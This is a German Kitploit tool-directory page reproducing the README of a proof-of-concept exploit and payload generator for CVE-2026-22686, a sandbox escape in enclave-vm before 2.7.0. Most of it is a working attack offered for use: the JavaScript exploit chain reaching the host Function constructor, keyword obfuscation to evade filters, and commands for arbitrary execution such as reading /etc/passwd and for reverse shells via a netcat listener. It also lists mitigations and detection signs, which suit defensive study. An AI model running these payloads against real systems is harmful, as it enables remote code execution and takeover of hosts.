Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Proof-of-Concept-Exploit und Payload-Generator für CVE-2026-22686, einen Sandbox-Escape in enclave-vm <2.7.0, der beliebige Codeausführung und Reverse Shells ermöglicht. | Kitploit
Tools/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & BildungRed Teaming
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Proof-of-Concept-Exploit und Payload-Generator für CVE-2026-22686, einen Sandbox-Escape in enclave-vm <2.7.0, der beliebige Codeausführung und Reverse Shells ermöglicht.

Repository anzeigen
vor 3h 43mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-22686 — enclave-vm Sandbox-Escape PoC

CVE CVSS enclave-vm Python License

Ein Proof-of-Concept (PoC)-Exploit und Payload-Generator für CVE-2026-22686, eine kritische Sandbox-Escape-Schwachstelle in enclave-vm in Versionen vor 2.7.0, die die Ausführung beliebigen Codes innerhalb der Host-Node.js-Laufzeitumgebung ermöglicht.

⚠️ Haftungsausschluss: Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die Nutzung gegen Systeme ohne vorherige schriftliche Zustimmung ist illegal. Der Autor übernimmt keine Haftung für jeglichen Missbrauch.


📖 Inhaltsverzeichnis

  • Überblick
  • Schwachstellendetails
  • Funktionsweise
  • Installation
  • Verwendung
  • Payload-Anatomie
  • Gegenmaßnahmen
  • Rechtliches
  • Referenzen
  • Autor
  • Lizenz

  • 🔍 Überblick

    enclave-vm ist eine JavaScript-Sandboxing-Bibliothek, die entwickelt wurde, um nicht vertrauenswürdigen Code sicher in einer kontrollierten Umgebung auszuführen. In Versionen < 2.7.0 ermöglicht ein Fehler in der Art und Weise, wie hostseitige Fehlerobjekte für die Sandbox verfügbar gemacht werden, einem Angreifer, die Prototypenkette zu durchlaufen und den Function-Konstruktor des Hosts zu erreichen, wodurch die Sandbox effektiv umgangen wird.

    Dieses Repository enthält:

    • Einen Payload-Generator, der eine sofort einsetzbare JavaScript-Payload erzeugt
    • Unterstützung für beliebige Befehlsausführung auf dem Host
    • Unterstützung für Reverse-Shell-Payloads
    • Eine zweisprachige interaktive CLI (Französisch / Englisch)

    🛡️ Schwachstellendetails

    FeldWert
    CVE-IDCVE-2026-22686
    CVSS v3.110.0 (Kritisch)
    CWECWE-693 — Fehler des Schutzmechanismus
    Komponenteenclave-vm
    Betroffen< 2.7.0
    Behoben in2.7.0
    AuswirkungSandbox-Escape → Ausführung beliebigen Codes (RCE)

    Ursache

    Wenn ein sandboxed Tool-Aufruf fehlschlägt, gibt enclave-vm das hostseitige Error-Objekt an den sandboxed Code zurück. Da dieses Fehlerobjekt seine ursprüngliche Prototypenkette aus der Host-Umgebung beibehält, kann ein Angreifer die Kette wie folgt durchlaufen:

    root@kitploit:~
    Error instance
       └── Error.prototype
            └── Error constructor
                 └── Function constructor  ← host Function!
    

    Sobald der Host-Function-Konstruktor erlangt wurde, kann der Angreifer beliebiges JavaScript in der Host-Laufzeitumgebung kompilieren und ausführen — wodurch die Sandbox vollständig umgangen wird.


    ⚙️ Funktionsweise

    Der Exploit folgt diesen Schritten:

    1. Einen hostseitigen Fehler auslösen, indem ein nicht existierendes Tool aufgerufen wird (callTool('NONEXISTENT', {})).
    2. Das Fehlerobjekt abrufen aus der Sandbox (es behält eine Referenz auf die Host-Prototypenkette).
    3. Die Prototypenkette durchlaufen, um Error.prototype.constructor.constructor zu erreichen, was die Function des Hosts ist.
    4. Die Payload des Angreifers kompilieren unter Verwendung der Host-Function und ausführen.
    5. Die Payload lädt child_process und führt einen beliebigen Shell-Befehl aus (oder startet eine Reverse Shell).

    Alle sensiblen Schlüsselwörter (constructor, __proto__, __lookupGetter__, prototype) sind als ASCII-Zeichencodes obfuskiert, um naive statische Filter zu umgehen.


    📦 Installation

    Keine externen Abhängigkeiten — verwendet nur die Python-Standardbibliothek.

    root@kitploit:~
    git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
    cd CVE-2026-22686-PoC
    chmod +x generator.py
    

    Voraussetzungen:

    • Python 3.8+

    🚀 Verwendung

    Interaktiver Modus

    root@kitploit:~
    python3 generator.py
    

    Sie werden aufgefordert:

    1. Ihre Sprache auszuwählen (Französisch / Englisch)
    2. Den Payload-Typ auszuwählen (Befehl oder Reverse Shell)
    3. Den Befehl / die IP / den Port anzugeben

    Kopieren Sie dann die generierte Payload und fügen Sie sie in die verwundbare Sandbox-Eingabe ein.

    Befehlsausführung

    root@kitploit:~
    python3 generator.py -c "id"
    python3 generator.py -c "cat /etc/passwd"
    python3 generator.py -c "ls -la /home"
    

    Reverse Shell

    Terminal 1 (Angreifer — Listener):

    root@kitploit:~
    nc -lvnp 4444
    

    Terminal 2 (Generator):

    root@kitploit:~
    python3 generator.py --revshell 10.10.15.152 4444
    

    Kopieren Sie die resultierende Payload und fügen Sie sie in die Sandbox ein. Sie sollten eine Shell in Terminal 1 erhalten.

    Roh-Payload-Ausgabe

    root@kitploit:~
    python3 generator.py -c "id" --raw > payload.js
    python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
    

    CLI-Optionen

    FlagBeschreibung
    -c, --commandAuszuführender Shell-Befehl
    --revshell LHOST LPORTReverse-Shell-Payload generieren
    --rawNur die Payload ausgeben (kein Banner, keine Dekoration)
    --lang {fr,en}Sprache der Oberfläche erzwingen
    -h, --helpHilfe und Beispiele anzeigen

    🔬 Payload-Anatomie

    1. ASCII-Decoder

    root@kitploit:~
    const s = (...args) => String.fromCharCode(...args);
    

    Ein kleiner Helfer, um ASCII-Code-Arrays zur Laufzeit zu dekodieren.

    2. Obfuskierte Schlüsselwörter

    root@kitploit:~
    const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
    const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
    const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
    const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"
    

    Vermeidet triviale stringbasierte Filter.

    3. Exploit-Kette

    root@kitploit:~
    const ObjectProto = Object[kPtype];
    const lookup = ObjectProto[kLookup];
    const getProtoNative = lookup.call(ObjectProto, kProto);
    
    let hostError;
    try {
        await callTool('NONEXISTENT', {});
    } catch (e) {
        hostError = e;
    }
    
    const errProto = getProtoNative.call(hostError);
    const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
    const result = HostFunc(payload)();      // Arbitrary code execution
    

    Die Host-Function wird dann verwendet, um den Befehl des Angreifers über child_process.execSync() auszuführen.


    🛡️ Gegenmaßnahmen

    Für Entwickler:

    • Aktualisieren Sie enclave-vm auf >= 2.7.0.
    • Überprüfen Sie Ihren Abhängigkeitsbaum regelmäßig (npm audit, Snyk, Dependabot).
    • Stellen Sie Sandbox-Ausführungsfunktionen niemals ohne zusätzliche Validierung für nicht vertrauenswürdige Eingaben bereit.
    • Führen Sie sandboxed Code in isolierten Prozessen aus (z. B. isolated-vm, gVisor, Firecracker).

    Für Benutzer / Organisationen:

    • Überwachen Sie Produktionsumgebungen auf veraltete Sandbox-Bibliotheken.
    • Beschränken Sie ausgehenden Netzwerkzugriff von jedem Prozess, der Benutzercode ausführt.
    • Wenden Sie das Prinzip der geringsten Rechte an: Führen Sie Node.js-Prozesse nicht als root aus.

    Erkennung:

    Achten Sie auf HTTP-Anfragen oder Code-Übermittlungen, die callTool('NONEXISTENT', __lookupGetter__, lange Arrays von kommagetrennten Integer-Literalen oder child_process / execSync enthalten.


    ⚖️ Rechtliches

    Dieses Projekt wird ausschließlich für Bildungszwecke und defensive Sicherheitsforschung veröffentlicht. Es ist für Sicherheitsforscher, autorisierte Penetrationstester und CTF-Spieler gedacht.

    Verwenden Sie dieses Tool nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal (CFAA in den USA, Computer Misuse Act im Vereinigten Königreich, Artikel 323-1 in Frankreich) und kann zu schweren strafrechtlichen Konsequenzen führen.

    Durch die Nutzung dieser Software erklären Sie sich damit einverstanden, dass der Autor nicht verantwortlich ist für Schäden oder rechtliche Konsequenzen, die sich aus ihrer Verwendung ergeben.


    📚 Referenzen

    • enclave-vm auf npm
    • Original-PoC von @amusedx
    • CWE-693: Fehler des Schutzmechanismus
    • Node.js child_process-Dokumentation
    • OWASP: Best Practices für Sandboxing

    👤 Autor

    • GitHub: @moi_404

    📄 Lizenz

    Dieses Projekt ist unter der MIT-Lizenz lizenziert — siehe die LICENSE-Datei für Details.


    🙏 Danksagungen

    • @amusedx für die ursprüngliche Schwachstellenforschung und den PoC
    • Die enclave-vm-Maintainer für die verantwortungsvolle Offenlegung und den Fix
    • Die Sicherheitscommunity für die fortlaufende Forschung zu JavaScript-Sandbox-Escapes

    ⭐ Mitwirken

    Pull Requests sind willkommen. Für größere Änderungen öffnen Sie bitte zuerst ein Issue.

    Vorgeschlagene Verbesserungen:

    • Zusätzliche Kodierungen (base64, hex, rot13) zur Umgehung von WAFs
    • Automatische Erkennung verwundbarer Endpunkte
    • Unterstützung für andere Sandbox-Bibliotheken (vm2, isolated-vm)
    • Unit-Tests und CI-Integration
    Tool herunterladen